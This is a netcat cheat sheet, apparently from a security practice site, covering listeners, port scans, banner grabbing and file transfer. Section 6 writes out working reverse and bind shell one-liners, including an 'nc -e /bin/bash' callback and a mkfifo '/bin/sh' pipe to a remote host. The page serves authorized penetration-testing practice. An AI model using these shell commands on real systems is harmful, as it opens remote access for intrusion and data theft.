Netcat

The TCP/IP swiss-army knife — listeners, shells, transfers & scans

Netcat Cheat Sheet

Netcat (nc) is the TCP/UDP "swiss army knife" for listeners, connections, port scanning, file transfer, and shells. For authorized testing only.

1. Listen & connect

nc -lvnp 4444                 # listen on port 4444
nc 10.10.10.10 4444           # connect to host:port
nc -u 10.10.10.10 53          # UDP connection

2. Core flags

Flag	Meaning
-l	Listen mode (server)
-p <port>	Local port
-n	No DNS resolution (numeric only)
-v	Verbose (-vv for more)
-u	UDP instead of TCP
-w <sec>	Timeout for connects / idle
-k	Keep listening after a client disconnects
-z	Zero-I/O mode (scan — connect then close)
-e <prog>	Execute program after connect (traditional/-traditional nc)
-c <cmd>	Run command via /bin/sh -c (OpenBSD nc)

-e/-c exist only in some builds (GNU netcat-traditional, OpenBSD nc). On systems without them, use the FIFO trick in section 6.

3. Port scanning

nc -zv 10.10.10.10 20-25          # scan a port range
nc -zvn 10.10.10.10 22 80 443     # scan specific ports, no DNS
nc -zvnu 10.10.10.10 53           # UDP scan
nc -zv -w 1 10.10.10.10 1-1000    # add a 1s timeout

4. Banner grabbing

nc -nv 10.10.10.10 22                              # SSH banner on connect
printf 'HEAD / HTTP/1.0\r\n\r\n' | nc 10.10.10.10 80   # HTTP headers
echo "" | nc -nv 10.10.10.10 25                    # SMTP banner

5. File transfer

# Receiver (listens, writes to file)
nc -lvnp 4444 > received.file

# Sender (connects, pipes file in)
nc 10.10.10.10 4444 < file.to.send

# Whole directory via tar
# receiver:
nc -lvnp 4444 | tar xvf -
# sender:
tar cvf - /path/to/dir | nc 10.10.10.10 4444

6. Reverse & bind shells

# --- Reverse shell ---
# Attacker (listen):
nc -lvnp 4444
# Victim (connect back, with -e):
nc -e /bin/bash 10.10.14.5 4444

# No -e support? Use the named-pipe (FIFO) trick on the victim:
rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 10.10.14.5 4444 > /tmp/f

# --- Bind shell ---
# Victim (listen + serve a shell):
nc -lvnp 4444 -e /bin/bash
# Attacker (connect):
nc 10.10.10.10 4444

7. Chat / quick relay

# Two-way chat between two boxes
nc -lvnp 4444                 # box A (listen)
nc 10.10.10.10 4444           # box B (connect) — type to talk

# Simple TCP proxy with a FIFO
mkfifo /tmp/r; nc -lvnp 8080 < /tmp/r | nc 10.10.10.20 80 > /tmp/r

8. ncat (the modern nmap version)

ncat ships with nmap and adds SSL, proxies, and access control:

ncat -lvnp 4444 --ssl                       # TLS-encrypted listener
ncat 10.10.10.10 4444 --ssl                 # TLS connect
ncat -lvnp 4444 -e /bin/bash --allow 10.10.14.5   # restrict who can connect
ncat -lvnp 4444 --keep-open                 # keep listening (like nc -k)
ncat --proxy 127.0.0.1:9050 --proxy-type socks5 10.10.10.10 80

9. Tips

• Always start the listener first, then fire the connection.
• rlwrap nc -lvnp 4444 gives the caught shell arrow-keys and history.
• -k (or --keep-open) keeps a listener alive for repeated connections.
• -z + -w 1 makes a quick reachability check without sending data.
• Prefer ncat --ssl when you need the channel encrypted.

Authorized testing only. Practice on the AYSEC challenges. See also the reverse shell and nmap cheat sheets.